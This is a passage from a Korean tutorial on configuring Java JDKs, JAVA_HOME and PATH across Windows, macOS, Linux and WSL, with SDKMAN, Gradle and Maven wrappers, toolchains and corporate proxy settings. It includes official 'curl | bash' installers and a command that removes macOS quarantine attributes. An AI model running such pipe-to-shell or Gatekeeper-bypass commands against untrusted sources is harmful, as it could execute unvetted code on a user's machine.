   그리고 [위로 이동] 을 눌러 맨 위로 올립니다 ★
     (Oracle javapath, 옛 JDK, cmder 등보다 앞에)

③ [확인] 을 세 번 눌러 창을 전부 닫습니다
   ※ X 로 닫으면 저장되지 않습니다
PATH 순서가 곧 우선순위입니다 — 윈도우는 PATH 를 위에서 아래로 훑다가 처음 만난 java.exe 를 씁니다. 그래서 %JAVA_HOME%\bin 이 밑에 있으면 옛날 자바가 계속 이깁니다. 다음 그림이 그 이야기입니다.
터미널에 java 라고 쳤을 때 벌어지는 일 — 먼저 찾은 것이 이깁니다 java 입력 경로 없이 이름만 PATH 를 앞에서부터 한 칸씩 훑습니다 각 폴더 안에 java.exe 가 있는지 봅니다. 있으면 즉시 멈춥니다 1번째 · C:\...\Oracle\Java\javapath java.exe 있음 → 여기서 검색 종료. 이것이 실행됩니다 Oracle JDK 8 · 2014년 것일 수도 있습니다 2번째 · %JAVA_HOME%\bin (Temurin 25) 아예 확인조차 되지 않습니다 — 앞에서 끝났으니까 "분명 25 를 깔았는데 8 이 나와요" 의 정체 해결 — 둘 중 하나 ① 환경 변수 창에서 %JAVA_HOME%\bin 을 [위로 이동] 으로 맨 위에 올린다 ② 앞쪽의 낡은 항목(javapath 등)을 지운다 · 확인은 where.exe java 로 후보 전체를 봅니다
where.exe java 가 여러 줄을 뱉으면 이미 섞인 것입니다 — 맨 윗줄이 실제로 도는 자바입니다.

확인과 임시 전환 — PowerShell 🟢 기초

지금 상태 읽기

# 값 확인
echo $env:JAVA_HOME
$env:Path -split ';' | Select-String java     # 자바 관련 항목만 추려 보기

# 실제로 불리는 파일 (후보 전부)
where.exe java
where.exe javac

# 영구 저장된 값 읽기 (지금 프로세스가 아니라 레지스트리 쪽)
[Environment]::GetEnvironmentVariable('JAVA_HOME','User')
[Environment]::GetEnvironmentVariable('JAVA_HOME','Machine')

# 깔려 있는 JDK 전부 찾아보기
Get-ChildItem 'C:\Program Files\Eclipse Adoptium','C:\Program Files\Java' -ErrorAction SilentlyContinue |
  Select-Object Name

GUI 없이 넣기 · 이 창에서만 바꾸기

# ── 영구 (사용자 변수) — GUI 와 같은 일을 합니다 ──
[Environment]::SetEnvironmentVariable(
  'JAVA_HOME',
  'C:\Program Files\Eclipse Adoptium\jdk-25.0.2.12-hotspot',
  'User')

# PATH 앞에 붙이기 (기존 값을 읽어 앞에 이어 붙입니다)
# ⚠️ 이 방법은 REG_SZ 로 저장돼 %JAVA_HOME% 이 펼쳐지지 않습니다 → 실제 경로를 넣습니다
$old = [Environment]::GetEnvironmentVariable('Path','User')
[Environment]::SetEnvironmentVariable('Path',
  'C:\Program Files\Eclipse Adoptium\jdk-25.0.2.12-hotspot\bin;' + $old, 'User')
# ↑ 저장 후에는 터미널을 새로 열어야 반영됩니다

# ── 이 창에서만 (실험용 · 재부팅 없이 즉시) ──
$env:JAVA_HOME = 'C:\Program Files\Eclipse Adoptium\jdk-21.0.6.7-hotspot'
$env:Path = "$env:JAVA_HOME\bin;$env:Path"
java -version        # 이 창에서만 21 이 됩니다

# 자주 쓴다면 프로필에 함수로 (프로필 파일 열기)
notepad $PROFILE
# function j21 { $env:JAVA_HOME='C:\...\jdk-21...'; $env:Path="$env:JAVA_HOME\bin;$env:Path" }
# function j25 { $env:JAVA_HOME='C:\...\jdk-25...'; $env:Path="$env:JAVA_HOME\bin;$env:Path" }
임시 전환이 안전합니다 — 시스템 전체 값을 계속 고치면 어느 프로젝트가 어느 자바로 돌고 있는지 알 수 없게 됩니다. 기본값은 하나로 고정해 두고, 예외가 필요한 창에서만 바꾸세요. 이걸 자동으로 해 주는 도구가 st05 입니다.
PATH 를 편집할 때 절대 하면 안 되는 것 — Path 항목 전체를 한 줄로 복사해 메모장에서 고치는 것입니다. 윈도우 10 이후로는 PATH 편집 창이 한 줄에 하나씩 보여 주는 목록 형태인데, 옛날처럼 “텍스트 편집” 버튼으로 열어 잘못 붙여 넣으면 PATH 전체가 날아가 다른 프로그램까지 전부 못 찾게 됩니다. 고치기 전에 $env:Path > C:\path-backup.txt 로 한 번 백업해 두세요.
정리 — JAVA_HOME 은 bin 의 부모 폴더, PATH 에는 %JAVA_HOME%\bin 을 맨 앞에. 고친 뒤에는 터미널을 새로 열고 where.exe java 로 맨 윗줄을 확인합니다. 이 세 가지면 윈도우 자바 환경 문제는 거의 끝납니다.
SETUP 04

macOS · Linux — 한 줄로 끝나는 대신 알아야 할 것

맥과 리눅스는 패키지 매니저가 있어 설치 자체는 훨씬 쉽습니다. 대신 “어느 JDK 가 기본인가”를 정하는 방식이 OS 마다 다릅니다 — 맥은 java_home, 우분투는 update-alternatives 입니다. 그 둘만 익히면 됩니다.

macOS — Homebrew 로

# Homebrew 가 없다면 먼저 (공식 한 줄)
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Temurin 설치 — cask 입니다 (앱 형태로 /Library 아래 설치)
brew install --cask temurin@25
brew install --cask temurin@21     # 나란히 깔아도 충돌하지 않습니다

# 어디에 깔렸나
ls /Library/Java/JavaVirtualMachines/
# temurin-21.jdk  temurin-25.jdk

# 설치된 JDK 목록 보기 — 맥의 핵심 명령
/usr/libexec/java_home -V
# Matching Java Virtual Machines (2):
#   25.0.2 (arm64) "Eclipse Adoptium" - "OpenJDK 25.0.2" /Library/.../temurin-25.jdk/Contents/Home
#   21.0.6 (arm64) "Eclipse Adoptium" - "OpenJDK 21.0.6" /Library/.../temurin-21.jdk/Contents/Home

# 특정 버전의 경로만 뽑기 — 이 출력을 JAVA_HOME 에 넣습니다
/usr/libexec/java_home -v 25
# /Library/Java/JavaVirtualMachines/temurin-25.jdk/Contents/Home
맥에서 JAVA_HOME 은 Contents/Home 까지입니다. .jdk 폴더까지만 적으면 안에 bin 이 없어서 실패합니다. 직접 경로를 외우지 말고 아래처럼 java_home 명령의 출력을 쓰는 것이 정석입니다.

셸 설정 파일에 넣기 (zsh 기준)

# 맥은 2019년부터 기본 셸이 zsh 입니다 → ~/.zshrc
# (bash 를 쓴다면 ~/.bash_profile)

# 지금 셸이 뭔지
echo $SHELL          # /bin/zsh

# 편집
open -e ~/.zshrc     # 또는 nano ~/.zshrc

# ── 아래 두 줄을 파일 끝에 추가 ─────────────────
export JAVA_HOME=$(/usr/libexec/java_home -v 25)
export PATH="$JAVA_HOME/bin:$PATH"
# ────────────────────────────────────────────

# 저장 후 지금 창에 즉시 반영
source ~/.zshrc

# 확인
echo $JAVA_HOME
java -version
which -a java        # 여러 줄이면 섞인 것 (맨 윗줄이 이깁니다)

# 버전을 바꾸고 싶으면 -v 숫자만 고치면 됩니다
export JAVA_HOME=$(/usr/libexec/java_home -v 21)
맥의 함정 — /usr/bin/java. 이 파일은 진짜 자바가 아니라 “설치된 자바를 찾아 주는 껍데기” 입니다. JDK 가 하나도 없으면 “자바를 설치하겠습니까” 안내창을 띄웁니다. which java 결과가 /usr/bin/java 라고 해서 “깔려 있다”는 뜻이 아닙니다 — java -version 으로 확인하세요.

Ubuntu · Debian — Adoptium 저장소를 등록해서 🟢 기초

Temurin 을 apt 로 받기

# ① 저장소 서명 키 등록
sudo apt update && sudo apt install -y wget apt-transport-https gpg
wget -qO - https://packages.adoptium.net/artifactory/api/gpg/key/public \
  | gpg --dearmor | sudo tee /etc/apt/keyrings/adoptium.gpg > /dev/null

# ② 저장소 주소 추가 (VERSION_CODENAME 은 noble · jammy 등으로 자동 치환)
echo "deb [signed-by=/etc/apt/keyrings/adoptium.gpg] https://packages.adoptium.net/artifactory/deb \
$(awk -F= '/^VERSION_CODENAME/{print$2}' /etc/os-release) main" \
  | sudo tee /etc/apt/sources.list.d/adoptium.list

# ③ 설치
sudo apt update
sudo apt install -y temurin-25-jdk
sudo apt install -y temurin-21-jdk     # 함께 깔아도 됩니다

# 배포판 기본 저장소의 OpenJDK 로도 충분합니다 (버전이 조금 늦습니다)
sudo apt install -y openjdk-21-jdk

# 페도라 · 로키 계열
sudo dnf install -y java-21-openjdk-devel     # -devel 이 javac 를 포함합니다 ★
리눅스에서 가장 흔한 사고 — openjdk-21-jre 나 java-21-openjdk(-devel 없이) 만 깔고 나서 javac: command not found 를 만나는 것입니다. 개발용은 반드시 -jdk / -devel 패키지입니다.

기본 자바 고르기 — update-alternatives

# 여러 개가 깔렸을 때 "기본"을 대화형으로 고릅니다
sudo update-alternatives --config java
#   선택   경로                                          우선순위  상태
# * 0      /usr/lib/jvm/temurin-25-jdk-amd64/bin/java    2500     자동 모드
#   1      /usr/lib/jvm/temurin-21-jdk-amd64/bin/java    2100     수동 모드
# 유지하려면 <엔터>, 아니면 선택 번호를 누르세요:

# javac 도 따로 골라야 합니다 ★ (java 만 바꾸면 짝이 어긋납니다)
sudo update-alternatives --config javac

# 지금 무엇이 잡혀 있나
update-alternatives --display java
readlink -f "$(which java)"
# /usr/lib/jvm/temurin-25-jdk-amd64/bin/java

# JAVA_HOME 은 bin 을 두 번 거슬러 올라간 폴더입니다
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java))))
echo $JAVA_HOME
# /usr/lib/jvm/temurin-25-jdk-amd64
영구 적용은 ~/.bashrc(또는 ~/.profile)에 위의 export 두 줄을 넣고 source ~/.bashrc. 서버라면 사용자 셸이 아니라 systemd 유닛 파일의 Environment=JAVA_HOME=… 에 넣어야 서비스가 읽습니다 — “내 계정에선 되는데 서비스로 띄우면 안 된다”의 원인이 대개 이것입니다.

WSL 을 쓴다면 — 두 개의 자바가 생깁니다 🟡 중급

윈도우 쪽과 WSL 쪽은 완전히 별개

# WSL 안에서 확인해 보면
which -a java
# /usr/bin/java                                  ← 리눅스에 깐 것
# /mnt/c/Program Files/Eclipse Adoptium/.../java  ← 윈도우 PATH 가 넘어온 것 (!)

# WSL 은 기본적으로 윈도우 PATH 를 이어받습니다.
# 그래서 리눅스에 자바를 안 깔았는데도 java 명령이 "되는" 것처럼 보입니다.
# 하지만 그 java 는 윈도우용 exe 라서 리눅스 경로(/home/...)를 못 읽습니다.

# 해결 ① 리눅스 쪽에 제대로 깔고 PATH 앞에 두기 (위 apt 방법)
# 해결 ② 윈도우 PATH 상속을 끄기
sudo tee /etc/wsl.conf <<'EOF'
[interop]
appendWindowsPath = false
EOF
# 그 뒤 PowerShell 에서: wsl --shutdown  (완전히 껐다 켜야 반영됩니다)
WSL 안의 프로젝트는 WSL 안의 자바로 빌드하세요. /mnt/c/… 를 오가면 파일 접근이 수십 배 느려집니다. IntelliJ 도 WSL 프로젝트는 WSL JDK 로 잡아야 합니다(st07).

OS 별 경로 한눈에

OSJDK 가 깔리는 곳 (= JAVA_HOME)
Windows
Temurin
C:\Program Files\Eclipse Adoptium\jdk-25.x-hotspot
Windows
Oracle
C:\Program Files\Java\jdk-25
macOS/Library/Java/JavaVirtualMachines/temurin-25.jdk/Contents/Home ★
Ubuntu
apt
/usr/lib/jvm/temurin-25-jdk-amd64
Fedora/usr/lib/jvm/java-21-openjdk
SDKMAN
(st05)
~/.sdkman/candidates/java/current
Docker
temurin 이미지
/opt/java/openjdk
공통 규칙 하나 — 그 폴더 안에 들어갔을 때 bin/ · conf/ · lib/ 가 보이면 그게 JAVA_HOME 입니다. bin 안에 들어가 있으면 한 칸 위가 정답입니다. 이 규칙 하나면 어떤 OS 에서도 헤매지 않습니다.

맥에서 더 겪는 것 — Apple Silicon · 보안 경고 🟡 중급

arm64 인가 x64 인가

# 내 맥이 어느 칩인가
uname -m
# arm64   → M1/M2/M3/M4 계열 (Apple Silicon)
# x86_64  → 인텔 맥

# 지금 도는 자바가 어느 아키텍처인가
java -XshowSettings:properties -version 2>&1 | grep os.arch
# os.arch = aarch64      ← 맞게 깔린 상태
# os.arch = x86_64       ← 로제타로 도는 중 (느립니다)

# 로제타로 강제 실행해야 할 때 (옛 네이티브 라이브러리가 x64 전용일 때)
arch -x86_64 java -jar app.jar
Apple Silicon 에는 aarch64 빌드를 받으세요 — x64 빌드도 로제타로 “돌기는” 하지만 체감으로 느리고 배터리를 먹습니다. Homebrew 로 깔면 자동으로 맞춰 주지만, 사이트에서 직접 받을 때는 aarch64 표기를 반드시 확인하세요.

“개발자를 확인할 수 없습니다” 경고

# 서명되지 않은 JDK 압축본을 손으로 풀면 격리 속성이 붙습니다
xattr -l /Library/Java/JavaVirtualMachines/mytemp.jdk
# com.apple.quarantine: 0081;...

# 격리 해제
sudo xattr -r -d com.apple.quarantine \
  /Library/Java/JavaVirtualMachines/mytemp.jdk

# 또는 시스템 설정 → 개인정보 보호 및 보안 → 아래쪽
#   "확인되지 않은 개발자..." → [그래도 열기]

# Homebrew cask 로 깔면 이 과정이 필요 없습니다 (서명본을 받습니다)
맥에서는 되도록 brew --cask 또는 SDKMAN 을 쓰세요. 압축본을 손으로 /Library/Java/JavaVirtualMachines/ 에 넣는 방법도 되지만, 격리 속성 · 권한 · java_home 인식까지 챙길 것이 늘어납니다.
정리 — 맥은 brew install --cask temurin@25 뒤 export JAVA_HOME=$(/usr/libexec/java_home -v 25), 우분투는 Adoptium 저장소 등록 후 apt install temurin-25-jdk 뒤 update-alternatives --config java(그리고 javac 도). 둘 다 설정 파일에 넣고 source 해야 새 터미널에서도 살아 있습니다.
SETUP 05

여러 JDK 를 함께 두고 갈아 끼우기

실무에서는 JDK 하나로 끝나지 않습니다. 회사 서비스는 17, 새로 만드는 것은 25, 오픈소스 기여는 21 — 이런 상황이 곧 옵니다. 환경 변수를 매번 손으로 고치는 대신, 도구에 맡기고 프로젝트가 스스로 버전을 말하게 만듭니다.

한 PC 에 JDK 여러 개 — 바꾸는 것은 "가리키는 손가락" 하나뿐 디스크에는 전부 그대로 남아 있습니다 JDK 17 레거시 서비스용 JDK 21 가장 넓은 호환 JDK 25 지금 고른 것 GraalVM 25 네이티브 빌드용 current — 링크 하나 sdk use java 25.x 가 이 화살표를 돌립니다 JAVA_HOME · PATH 한 번 잡아 두고 다시는 안 고칩니다 환경 변수를 매번 고치는 대신 링크만 옮깁니다 — 되돌리기도 한 줄입니다 여기에 Gradle 툴체인까지 쓰면 프로젝트가 스스로 버전을 말합니다 (st06)
버전 관리 도구의 정체는 “가리키는 링크를 바꿔 주는 것” — 마법이 아닙니다.

SDKMAN! — 맥 · 리눅스 · WSL 의 정답

# 설치 (curl 한 줄 · ~/.sdkman 에만 깔립니다)
curl -s "https://get.sdkman.io" | bash
source "$HOME/.sdkman/bin/sdkman-init.sh"

# 설치 가능한 자바 목록 — 배포판이 전부 나옵니다
sdk list java
#  Vendor      Version      Identifier
#  Temurin     25.0.2       25.0.2-tem
#  Temurin     21.0.6       21.0.6-tem
#  Corretto    21.0.6       21.0.6-amzn
#  GraalVM CE  25.0.2       25.0.2-graalce

# 설치 · 기본값 지정
sdk install java 25.0.2-tem       # 첫 설치면 자동으로 기본이 됩니다
sdk install java 21.0.6-tem

sdk default java 25.0.2-tem       # 앞으로 여는 모든 터미널의 기본
sdk use java 21.0.6-tem           # 지금 이 터미널에서만 21

sdk current java                  # 지금 무엇을 쓰고 있나
sdk uninstall java 17.0.14-tem

# 자바 말고도 같은 방식으로 관리됩니다
sdk install gradle 9.1.0
sdk install maven
sdk install kotlin
JAVA_HOME 을 SDKMAN 이 알아서 잡습니다 — ~/.sdkman/candidates/java/current 를 가리키게 해 두고 그 링크만 바꿉니다. 당신은 다시는 환경 변수를 안 건드립니다. 설치 스크립트가 ~/.zshrc·~/.bashrc 끝에 초기화 줄을 자동으로 추가합니다.

프로젝트가 스스로 버전을 말하게

# 프로젝트 루트에 .sdkmanrc 를 두면
cd my-project
sdk env init          # .sdkmanrc 파일이 생깁니다

cat .sdkmanrc
# java=21.0.6-tem
# gradle=9.1.0

# 그 폴더에 들어갈 때 자동 전환
sdk env               # 수동 적용
sdk env install       # 없으면 받아서 설치까지

# 자동으로 전환되게 하려면 (한 번만)
sdk config            # sdkman_auto_env=true 로 바꿉니다
# 이후 cd 만 해도 그 프로젝트의 자바로 바뀝니다

윈도우 — 선택지 세 가지

방법메모
IntelliJ 내장가장 쉽습니다. Project Structure → SDKs → Download JDK 로 배포판·버전을 골라 받습니다. IDE 밖 터미널에는 영향 없음
Scoopscoop bucket add java 후 scoop install temurin25-jdk. scoop reset temurin21-jdk 로 전환
SDKMAN + WSLWSL 안에서 개발한다면 이게 가장 깔끔합니다
PowerShell 함수st03 의 j21/j25 함수 — 도구 없이도 충분합니다
jenv 는 뭔가요 — 맥에서 쓰이는 비슷한 도구인데, 이미 깔려 있는 JDK 를 등록해 전환만 해 줍니다(설치는 안 해 줍니다). SDKMAN 은 설치까지 하므로 처음 시작한다면 SDKMAN 하나로 충분합니다.

가장 확실한 방법 — Gradle 툴체인 🟡 중급

빌드 파일에 버전을 박아 둡니다

// build.gradle.kts
java {
    toolchain {
        languageVersion = JavaLanguageVersion.of(21)
        // 배포판까지 지정할 수 있습니다 (선택)
        vendor = JvmVendorSpec.ADOPTIUM
    }
}
# 내 PC 의 기본 자바가 25 여도, 이 프로젝트는 21 로 컴파일됩니다.
# 21 이 PC 에 없으면 Gradle 이 알아서 받아 옵니다 (자동 프로비저닝).

./gradlew -q javaToolchains      # Gradle 이 찾아낸 JDK 목록
# + Options
#   | Auto-detection:  Enabled
#   | Auto-download:   Enabled
# + AdoptOpenJDK 21.0.6  | Location: /Users/me/.sdkman/candidates/java/21.0.6-tem
이것이 최종 정답입니다 — 팀원 PC 의 기본 자바가 뭐든, CI 서버가 뭘 깔았든 결과가 같아집니다. “내 PC 에선 되는데요”가 자바에서 사라지는 지점입니다.

Maven 도 같은 개념이 있습니다

<!-- pom.xml — 컴파일 대상 버전만 정하기(가장 간단) -->
<properties>
  <maven.compiler.release>21</maven.compiler.release>
</properties>

<!-- 어느 JDK 로 돌릴지까지 강제하려면 toolchains 플러그인 -->
<plugin>
  <artifactId>maven-toolchains-plugin</artifactId>
  <version>3.2.0</version>
  <executions>
    <execution><goals><goal>toolchain</goal></goals></execution>
  </executions>
  <configuration>
    <toolchains>
      <jdk><version>21</version></jdk>
    </toolchains>
  </configuration>
</plugin>
<!-- JDK 위치는 ~/.m2/toolchains.xml 에 적어 둡니다 -->
release 와 source/target 의 차이 — 옛날 방식인 source/target 은 문법만 옛 버전으로 맞추고 표준 라이브러리는 최신 것을 봅니다. 그래서 컴파일은 되는데 옛 JDK 에서 실행하면 터지는 사고가 납니다. 항상 release 를 쓰세요. Gradle 에서도 options.release = 21 이 같은 역할입니다.

IntelliJ 안에서만 해결하기 — 클릭 순서 🟢 기초

Download JDK — 터미널을 안 건드리는 길

File → Project Structure  (Ctrl + Alt + Shift + S)
  → 왼쪽 [Platform Settings] → SDKs
  → 위쪽 [ + ] → Download JDK...

    Version   25
    Vendor    Eclipse Temurin (AdoptOpenJDK HotSpot)
    Location  C:\Users\me\.jdks\temurin-25.0.2      ← 기본값 그대로
    [Download]

  같은 방식으로 21 · 17 도 추가해 둡니다.

이제 프로젝트마다 다르게 지정할 수 있습니다
  Project Structure → Project → SDK           : 프로젝트 A 는 21
  Settings → Build Tools → Gradle → Gradle JVM: 프로젝트 B 는 25

받아 둔 JDK 들이 모이는 곳
  Windows  C:\Users\사용자\.jdks\
  macOS    ~/Library/Java/JavaVirtualMachines/
  Linux    ~/.jdks/
~/.jdks 는 터미널에서도 쓸 수 있습니다 — IDE 가 받아 둔 폴더를 그대로 JAVA_HOME 에 넣으면 됩니다. “IDE 로 받았으니 IDE 안에서만 쓸 수 있다”가 아닙니다.

방법별로 무엇이 달라지나

방법터미널IDE메모
환경 변수 직접
(st03)
✅수동 지정도구 없이 되는 기본기. 바꿀 때 손이 감
SDKMAN✅ 자동경로 등록만맥·리눅스·WSL 최고 ★
Scoop✅경로 등록만윈도우에서 scoop reset 으로 전환
IDE Download경로 지정하면 ✅✅ 자동가장 진입 장벽이 낮음 ★
Gradle 툴체인빌드에만 적용빌드에만 적용팀 전체에 강제되는 유일한 방법 ★
현실적인 조합 — IDE Download JDK(또는 SDKMAN)로 여러 버전을 받아 두고, 프로젝트마다 Gradle 툴체인으로 버전을 못 박습니다. 환경 변수의 JAVA_HOME 은 가장 자주 쓰는 버전 하나로 고정해 두고 잊습니다. 이러면 버전 때문에 시간을 쓰는 일이 사실상 사라집니다.
정리 — 맥·리눅스·WSL 은 SDKMAN, 윈도우는 IntelliJ 의 Download JDK 또는 Scoop. 그리고 프로젝트마다 Gradle 툴체인으로 버전을 박아 두면 누가 어떤 PC 에서 빌드해도 같은 결과가 나옵니다.
SETUP 06

빌드 도구 — Gradle · Maven 은 “깔지 않는 것”이 정답

자바 프로젝트는 javac 를 직접 부르지 않습니다. 라이브러리를 받아 오고, 컴파일하고, 테스트하고, jar 로 묶는 일을 빌드 도구가 합니다. 그런데 재미있게도 가장 좋은 설치 방법은 “설치하지 않는 것” 입니다 — 래퍼 때문입니다.

Gradle 래퍼 — 왜 Gradle 을 설치하지 않아도 되나 git clone 한 프로젝트 gradlew · gradlew.bat gradle/wrapper/ 안에 gradle-wrapper.properties ./gradlew build properties 파일에서 필요한 Gradle 버전을 읽습니다 캐시에 있나? ~/.gradle/wrapper/dists 없으면 그 자리에서 자동으로 내려받습니다 그 버전으로 빌드 실행 팀원 · CI 서버 전부 정확히 같은 Gradle 을 씁니다 그래서 신입이 첫날 할 일은 "Gradle 설치" 가 아니라 그냥 ./gradlew build 입니다 버전을 올릴 때도 ./gradlew wrapper --gradle-version 9.1.0 한 줄이면 파일이 갱신됩니다 Maven 도 똑같은 구조입니다 — mvnw · .mvn/wrapper/maven-wrapper.properties
래퍼는 버전을 코드에 커밋하는 장치입니다 — “버전이 달라서 안 된다”가 사라집니다.

래퍼 사용법 — 이게 전부입니다

# 프로젝트를 받으면 이 파일들이 함께 옵니다
# gradlew            (맥 · 리눅스용 셸 스크립트)
# gradlew.bat        (윈도우용)
# gradle/wrapper/gradle-wrapper.jar
# gradle/wrapper/gradle-wrapper.properties

# 맥 · 리눅스
./gradlew build
./gradlew test
./gradlew bootRun

# 윈도우 PowerShell — ./ 가 아니라 .\ 입니다
.\gradlew.bat build
# 또는 그냥
gradlew build

# 실행 권한이 없다는 오류가 나면 (맥 · 리눅스 · WSL)
chmod +x gradlew
git update-index --chmod=+x gradlew    # 권한을 커밋해 두면 팀원이 안 겪습니다

# 버전 확인 · 올리기
./gradlew --version
./gradlew wrapper --gradle-version 9.1.0 --distribution-type all
gradle build 라고 치지 마세요 — 앞의 ./ 가 빠지면 PC 에 전역 설치된 Gradle 이 돌아 버전이 달라집니다. 항상 ./gradlew 입니다. gradle-wrapper.jar 도 반드시 커밋합니다(.gitignore 에 넣지 마세요).

새 프로젝트를 맨손으로 만들 때만 설치

# 래퍼가 없는 빈 폴더에서 시작할 때는 Gradle 이 한 번 필요합니다
# (한 번 만들고 나면 그 뒤로는 래퍼를 씁니다)

# 설치
sdk install gradle                          # 맥 · 리눅스 · WSL
winget install Gradle.Gradle                # 윈도우
brew install gradle                         # 맥
scoop install gradle                        # 윈도우

gradle --version
# Gradle 9.x
# Launcher JVM:  25.0.2 (Eclipse Adoptium)   ← 이 줄이 중요합니다

# 프로젝트 뼈대 만들기 (대화형)
mkdir demo && cd demo
gradle init --type java-application --dsl kotlin
# → 여기서 gradlew 가 생깁니다. 이후로는 gradle 명령을 쓰지 않습니다.

# Maven 쪽
mvn -N wrapper:wrapper -Dmaven=3.9.9        # 기존 프로젝트에 mvnw 추가
./mvnw -v
Spring 프로젝트라면 이 과정도 필요 없습니다 — start.spring.io(st09)가 래퍼까지 넣어 압축 파일로 만들어 줍니다. 실제로 Gradle 을 전역 설치하지 않고 몇 년을 일하는 사람도 많습니다.

사내망 · 프록시 — 회사에서 첫날 막히는 곳 🟡 중급

Gradle — gradle.properties

# 두 곳에 둘 수 있습니다
#   ~/.gradle/gradle.properties     내 PC 전체 (비밀번호는 여기에)
#   프로젝트/gradle.properties       프로젝트 전용 (커밋됨 — 비밀 금지)

systemProp.http.proxyHost=proxy.mycorp.com
systemProp.http.proxyPort=8080
systemProp.https.proxyHost=proxy.mycorp.com
systemProp.https.proxyPort=8080
systemProp.http.nonProxyHosts=localhost|127.0.0.1|*.mycorp.com

# 메모리 · 성능 (빌드가 느리면 여기부터)
org.gradle.jvmargs=-Xmx4g -Dfile.encoding=UTF-8
org.gradle.parallel=true
org.gradle.caching=true

# 이 프로젝트만 다른 자바로 빌드 (툴체인과 함께 쓰면 더 확실)
org.gradle.java.home=C:\\Program Files\\Eclipse Adoptium\\jdk-21.0.6.7-hotspot
// settings.gradle.kts — 사내 Nexus 미러를 앞에 둡니다
dependencyResolutionManagement {
    repositories {
        maven {
            url = uri("https://nexus.mycorp.com/repository/maven-public/")
            credentials {                    // 값은 ~/.gradle/gradle.properties 에서
                username = providers.gradleProperty("nexusUser").get()
                password = providers.gradleProperty("nexusPass").get()
            }
        }
        mavenCentral()                       // 사내에 없으면 여기로
    }
}

Maven — ~/.m2/settings.xml

<settings>
  <proxies>
    <proxy>
      <id>corp</id><active>true</active>
      <protocol>https</protocol>
      <host>proxy.mycorp.com</host><port>8080</port>
      <nonProxyHosts>localhost|*.mycorp.com</nonProxyHosts>
    </proxy>
  </proxies>

  <mirrors>
    <mirror>
      <id>nexus</id>
      <mirrorOf>*</mirrorOf>
      <url>https://nexus.mycorp.com/repository/maven-public/</url>
    </mirror>
  </mirrors>

  <servers>
    <server>
      <id>nexus</id>
      <username>hyunwoo</username>
      <password>토큰</password>
    </server>
  </servers>
</settings>
사내망에서 가장 흔한 에러 — PKIX path building failed. 회사 방화벽이 HTTPS 를 뜯어보느라 자체 서명 인증서를 끼워 넣기 때문입니다. 회사 루트 인증서를 JDK 신뢰 저장소에 넣어야 합니다: keytool -importcert -cacerts -alias corp -file corp-root.crt (기본 비밀번호는 changeit). JDK 를 바꿀 때마다 다시 넣어야 합니다.

캐시가 어디에 쌓이나 — 용량과 청소 🟡 중급

무엇위치 (윈도우 / 맥·리눅스)
Gradle 배포본%USERPROFILE%\.gradle\wrapper\dists
~/.gradle/wrapper/dists
Gradle 의존성~/.gradle/caches/modules-2 — 수 GB 로 자랍니다
Maven 저장소~/.m2/repository
빌드 산출물프로젝트/build · target
Gradle 데몬 로그~/.gradle/daemon/
이 폴더들은 백업 대상이 아닙니다 — 지워도 다시 받으면 그만입니다. 다만 사내망에서 첫 빌드는 오래 걸리므로 함부로 지우지 마세요. C 드라이브가 좁으면 GRADLE_USER_HOME 환경 변수로 위치를 옮길 수 있습니다.
# 용량 보기
du -sh ~/.gradle ~/.m2                    # 맥 · 리눅스

# 안전한 청소 — 프로젝트 산출물만
./gradlew clean
./mvnw clean

# 데몬이 이상할 때 (버전 섞임 · OOM · 이상한 캐시)
./gradlew --stop                          # 돌고 있는 데몬 전부 종료
./gradlew build --no-daemon               # 데몬 없이 한 번 돌려 보기

# 캐시를 비우고 다시 받기 (최후의 수단 · 오래 걸립니다)
./gradlew build --refresh-dependencies
rm -rf ~/.gradle/caches/modules-2

# 저장 위치 옮기기
export GRADLE_USER_HOME=/data/gradle      # 맥 · 리눅스
# 윈도우: 환경 변수에 GRADLE_USER_HOME = D:\gradle
Gradle 데몬은 빌드를 빠르게 하려고 백그라운드에 남아 있는 JVM 입니다. JDK 를 바꿨는데 빌드가 옛 버전으로 도는 것 같으면 ./gradlew --stop 을 먼저 해 보세요 — st12 의 단골 증상입니다.
정리 — Gradle·Maven 은 설치하지 않고 래퍼(./gradlew · ./mvnw)를 씁니다. 회사에서는 gradle.properties(프록시·Nexus)와 사내 인증서 등록이 첫날 관문이고, 이상하면 ./gradlew --stop 이 첫 번째 처방입니다.
SETUP 07

IntelliJ IDEA — 설치부터 첫 프로젝트까지

자바 개발자의 압도적 다수가 IntelliJ 를 씁니다. 무료 Community 로도 콘솔 앱 · 라이브러리 · Gradle 프로젝트를 전부 할 수 있고, 스프링 부트 전용 기능이 필요할 때만 Ultimate 를 생각하면 됩니다. JDK 를 지정하는 자리가 세 군데라는 점만 처음에 잡고 가면 헤맬 일이 없습니다.

IntelliJ 에서 JDK 를 지정하는 곳은 세 군데입니다 ① Project SDK File → Project Structure → Project 편집기의 자동완성 기준 ② Gradle JVM Settings → Build Tools → Gradle 실제로 빌드를 도는 자바 ③ Target bytecode Settings → Compiler → Java Compiler 만들어질 .class 버전 셋이 다르면 — 편집기는 멀쩡한데 빌드가 실패합니다 "IDE 에선 빨간 줄이 없는데 gradlew build 가 안 돼요" 의 정체 기본 규칙 — 셋을 같은 버전으로 맞춥니다. 헷갈리면 전부 프로젝트가 쓰는 버전으로 Gradle 툴체인(st06)을 쓰면 ②③ 이 자동으로 정해집니다 — 그래서 툴체인을 권합니다 Gradle JVM 은 "Project SDK 사용" 으로 두면 대개 문제가 없습니다
JDK 를 “한 군데만 바꿨는데 안 된다”면 나머지 두 곳을 보세요.

Community 와 Ultimate — 무엇이 다른가

기능CommunityUltimate
자바 · Kotlin 편집 · 디버깅✅✅
Gradle · Maven · JUnit✅✅
Git · 리팩터링 · 프로파일러✅✅
Spring / Spring Boot 지원❌✅ ★
JPA · SQL 콘솔 · DB 도구❌✅
HTTP 클라이언트 (.http 파일)❌✅
JavaScript · 프런트엔드❌✅
가격무료유료 (학생 · OSS 무료)
이렇게 정하세요 — 문법을 배우는 동안은 Community 로 충분합니다. 스프링 부트로 서비스를 만들기 시작하면 Ultimate 의 빈 그래프 · 설정 자동완성 · 엔드포인트 목록이 체감 차이를 냅니다. 학생은 .ac.kr 메일로, 오픈소스 메인테이너는 신청으로 무료 라이선스를 받을 수 있습니다.

설치 — Toolbox 를 권합니다

① JetBrains Toolbox App 을 먼저 깝니다
   https://www.jetbrains.com/toolbox-app/

   Toolbox 를 쓰면 좋은 이유
     · IDEA · WebStorm 등을 한 곳에서 설치 · 업데이트
